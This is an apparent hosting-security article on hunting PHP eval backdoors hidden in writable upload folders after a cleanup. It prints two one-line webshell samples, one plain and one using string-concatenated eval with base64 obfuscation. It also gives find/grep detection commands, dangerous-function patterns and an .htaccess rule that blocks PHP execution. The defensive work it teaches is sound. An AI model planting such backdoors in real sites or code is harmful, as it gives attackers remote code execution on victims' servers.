You ran a malware scanner after cleaning up a compromised site. It came back green, no threats found. You breathe easier and move on. Except the attacker is still in, sitting inside a tiny PHP file buried three levels deep in your uploads folder, waiting for a single HTTP request to wake it up.
This is one of the most common false-comfort patterns in shared hosting and VPS environments. A clean scan result does not mean the server is clean. It means the scanner did not match anything in its signature database. Those are very different statements.
Why signature scanners miss eval backdoors in upload directories
Most malware scanners, whether they run on the server (ClamAV, for example) or scan remotely, work by matching file contents against a database of known malicious patterns. They look for specific strings, known webshell signatures, and recognized exploit code. This works well for commodity malware: the mass-produced PHP shells, the well-known c99 and r57 variants, the base64-encoded payloads that have been cataloged for years.
But attackers who target a specific site or who want persistent access do not use off-the-shelf shells. They write something minimal. A backdoor can be as short as a single line:
<?php @eval($_POST['x']);
That line does nothing on its own. It contains no malicious payload, no exploit code, no known signature. It waits for a POST request with a parameter named x, then executes whatever PHP code the attacker sends in that parameter. The malicious logic never touches disk. It lives entirely in the HTTP request, which the scanner never sees.
Now make it slightly less obvious:
<?php f='ev'.'al'; @f(base64_decode($_POST['d']));
This concatenates the string eval at runtime, decodes a base64-encoded POST parameter, and executes it. No static analysis tool looking for the literal string eval( will catch the first variant. The function name is constructed dynamically. This is what "obfuscated" means in practice: not encrypted, not compressed, just rearranged enough that pattern matching fails.
Upload directories are the favorite hiding spot because they are writable by the web server process. On WordPress, that is wp-content/uploads/. On Joomla, images/. On custom apps, wherever user-uploaded files land. These directories typically contain images, PDFs, and other media. Nobody expects PHP files there, and many scanners skip non-PHP extensions or treat upload directories as low-priority.
Attackers also name their files to blend in. A file called thumbnail-cache.php or .access-log.php (note the leading dot, making it hidden on Linux) sitting among thousands of image files is easy to overlook.
How to manually hunt for suspicious PHP in writable directories
The approach is straightforward: search for PHP files in directories that should not contain them, then look for dangerous function calls inside those files.
First, find PHP files in upload directories. Adjust the path to match your CMS or application:
find /home/*/public_html/wp-content/uploads -type f -name '*.php' -o -name '*.phtml' -o -name '*.pht'
On a clean WordPress installation, this should return nothing. Any result is suspicious and worth investigating.
But attackers sometimes use non-PHP extensions with content that gets interpreted as PHP anyway (depending on server configuration). A file named image.php.jpg or shell.phtml might execute under certain Apache or LiteSpeed handler configurations. So also check for PHP opening tags inside files regardless of extension:
grep -rl '<?php' /home/*/public_html/wp-content/uploads/ --include='*' | head -50
Once you have a list of PHP files (or files containing PHP code) in upload directories, look for the dangerous patterns:
eval(and variations likeassert(,preg_replacewith theemodifier (deprecated but still functional on older PHP versions),create_function(base64_decode(combined withevalor variable function calls_POST,_GET,_REQUEST,_COOKIEused directly insideevalor passed to functions that execute codestr_rot13(,gzinflate(,gzuncompress(chained together, which is a classic obfuscation stack- Variable function calls like
var(wherevaris assigned a string like'system'or'exec'
A practical grep that catches many of these:
grep -rn -E '(eval|assert|base64_decode|str_rot13|gzinflate|gzuncompress|create_function|call_user_func|preg_replace.*\\/e)' /home/*/public_html/wp-content/uploads/
This is not perfect. It will produce false positives if a legitimate plugin somehow placed PHP in the uploads directory (rare but possible). It will miss backdoors that use heavy obfuscation or store their code in database rows instead of files. But it catches the most common patterns that signature scanners miss.
What to check when you find something
Do not delete the file immediately. You need to understand what it does and how it got there.
Check the file's ownership and permissions. On a cPanel server, files uploaded through PHP typically belong to the account's user. Files placed through a vulnerability in the web server itself might belong to nobody or www-data depending on the server configuration.
Check the file's modification time with stat:
stat /home/user/public_html/wp-content/uploads/2024/03/.cache.php
Compare that timestamp against your access logs. Look for POST requests to that file path. If someone has been sending POST requests to a PHP file in your uploads directory, that file is almost certainly a backdoor being actively used.
Check your web server access logs for requests to the suspicious file. The exact log path depends on your setup, but typically:
grep 'uploads/2024/03/.cache.php' /var/log/apache2/domlogs/example.com | tail -20
If you see POST requests from external IPs hitting that file, you have confirmed active exploitation.
Before removing the file, copy it somewhere outside the web root for analysis. Then delete it. But here is the part people miss: if your server uses PHP OPcache (and most production servers do), the compiled version of that backdoor script may still be cached in memory and continue responding to requests even after the file is deleted from disk. You need to clear OPcache or restart PHP-FPM. For more detail on that specific problem, see Why Deleted Webshells Still Run Until OPcache Is Cleared.
Preventing PHP execution in upload directories
Finding and removing backdoors is reactive. The better move is preventing PHP from executing in upload directories at all.
For Apache or LiteSpeed with .htaccess support, place this in the uploads directory:
<FilesMatch "\\.ph(p[0-9]?|tml|t)$">
Require all denied
</FilesMatch>
For Nginx, add a location block that returns 403 for PHP files in the uploads path. The exact syntax depends on your server block configuration, but the principle is: match requests for .php files under the uploads URI and deny them.
This does not prevent the file from being uploaded. It prevents the web server from executing it as PHP. An attacker can still place a .php file in the directory, but requesting it returns a 403 instead of running the code.
Some hosting control panels provide this as a toggle or apply it by default for WordPress installations. Check whether yours does; do not assume.
Also worth noting: attackers who know PHP execution is blocked in uploads will try other writable directories. Theme and plugin directories, cache directories, and temp directories are all targets. The same grep approach applies to those paths.
The scanner is a starting point, not a verdict
Malware scanners are useful. They catch known threats quickly and save time during bulk cleanups. But treating a clean scan as proof that a server is safe is a mistake that leads to repeat compromises. The pattern is predictable: site gets hacked, owner runs scanner, scanner says clean, owner relaxes, attacker walks back in through the same backdoor that was never found.
After any compromise, manually check writable directories for unexpected PHP files. Grep for eval, base64_decode, and the other patterns listed above. Verify that PHP execution is blocked in upload directories. Check access logs for POST requests to files that should not receive them. And if the backdoor was obfuscated enough to bypass pattern matching on your scanner, consider that it might also bypass your WAF. That relationship between obfuscation and WAF evasion is covered in Thinking a WAF Blocks All Webshells? Obfuscated PHP Shells Bypass Pattern Matching.
A five-minute grep after a cleanup is worth more than a green checkmark from a scanner that never looked in the right place.